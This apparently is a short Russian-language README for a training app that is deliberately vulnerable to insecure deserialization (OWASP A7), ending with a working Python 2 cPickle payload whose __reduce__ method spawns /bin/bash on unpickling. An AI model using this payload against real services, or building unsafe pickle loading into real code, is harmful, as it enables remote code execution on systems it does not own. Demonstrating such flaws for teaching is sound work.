Минимальное приложение с уязвимостью из OWASP TOP 10 и эксплойт к нему.
Приложение написано с помощью языка программирования Python.
Уязвимость A7 - Insecure Serialization.
Уязвимость заключается в небезопасном проведении процедуры сериализации. Такая ситуация обычно возникает в лучае, если пользователь может повлиять на данные, которые используются в сериализации.
Процедура эксплуатации очень проста - нужно написать собственный класс на языке программирования Python с кодом, который необходимо выполнить при сборке объекта в памяти приложения. Сборка объекта может определяться самим объектом, который используют для сериализации.
Пример:
import cPickle
import subprocess
import base64
class exploit(object):
def __reduce__(self):
return (subprocess.Popen, (('/bin/bash',),))
print base64.b64encode(cPickle.dumps(exploit())) #<= payload, который можно передавать в уязвимое приложение